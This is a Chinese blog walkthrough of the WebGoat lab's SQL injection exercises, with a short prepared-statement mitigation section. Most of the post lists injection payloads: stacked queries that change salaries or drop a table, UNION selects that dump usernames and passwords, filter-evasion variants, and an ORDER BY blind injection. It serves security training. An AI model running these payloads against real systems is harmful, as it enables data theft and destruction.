【webGoat靶场】SQL Injection
【摘要】 【SQL注入】
前言:
介绍:
博主:网络安全领域狂热爱好者。
殊荣:华为云博主、CSDN网络安全领域优质创作者(CSDN:黑色地带(崛起)),2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。
擅长:对于技术、工具、漏洞原理、黑产打击的研究。
导读:
面向读者:对于网络安全方面的学者。
本文知识点:
【SQL注入】
目录
SQL
SQL Injection (intro)
2、
select department from employees where first_name='Bob';
3、
update employees set department='Sales' where first_name='Tobi';
4、
alter table employees add column phone varchar(20);
5、
grant insert on grant_rights to unauthorized_user
9、
10、
11、
12、
Smith&auth_tan=3SL99A'; update employees set salary = 999999 where last_name='Smith'; -- +
13、
1' drop table access_log;--+
SQL Injection (advanced)
3、
Dave' OR 1=1;SELECT * FROM user_system_data;--
5、
先尝试是否可以注册相同的用户名
“Tom”可以注册
"tom"进行注册时,提示该用户已注册
因为tom是对的,所以使用or的话,就永真
tom' or '1'='1
tom' or '1'='2
考虑使用and
(显示的页面不一样,说明注册中的name处存在注入点)
tom' and 1=1--+
tom' and 1=2--+
接下来是bp抓包
1、然后保存到1.txt,再使用sqlmap跑
2、使用bp爆破
(不演示了)
tom
thisisasecretfortomonly
6、
43234
SQL Injection (mitigation)
5、
getConnection
PreparedStatement ps
prepareStatement
?
?
ps.setString(1, name);
ps.setString(2, mail)
6、
try{
Connection conn = null;
conn=DriverManager.getConnection(DBURL,DBUSER,DBPW);
PreparedStatement ps=conn.prepareStatement("select * from users where name=?");
ps.setString(1,"zy");
ResultSet rs=ps.executeQuery();
} catch(Exception e){
System.out.println("zeze");
}
9、
1'/**/;/**/select/**/user_name,password/**/from/**/user_system_data;--+
1'/**/union/**/select/**/1,user_name,password,'1','2','3',4/**/from/**/user_system_data--+
10、
1'/**/union/**/selselectect/**/1,user_name,password,'1','2','3',4/**/frfromom/**/user_system_data--+
1'/**/;/**/seselectlect/**/user_name,password/**/frfromom/**/user_system_data;--+
12、
题目提示:
1、获取主机名为webgoat-prd的服务器的IP地址
2、Submit 不存在SQL 注入
3、此题都是排序,肯定和order by有关
点Hostname排序,并抓包
找到了hostname——>column参数值是order by参数
将hostname改为ip试试
(右侧出现排序结果)
此处被带入查询,使用不存在的列名,查看是否会报错
报出了查询语句
select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by 1111
语法:select id, hostname, ip, mac, status, description from servers where status <> ‘out of order’ order by case when (true/false) then hostname else id end
order by后的条件,盲猜字段的每一个字符
when (true/false)真假判断,为true按hostname排序,为false按id排序
对ip进行盲注
ip最多有15位,每一位数是0-9
(case when (substring((select ip from servers where hostname=‘webgoat-prd’),1,1)=1) then hostname else id end)
(case%20when%20((select%20substring(ip,1,1)%20from%20servers%20where%20hostname=%27webgoat-prd%27)=1)%20then%20hostname%20else%20id%20end)
payload1
payload2
查看回应包,成功排序的说明是我们需要的数值
104.130.219.202
【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
作者其他文章
评论(0)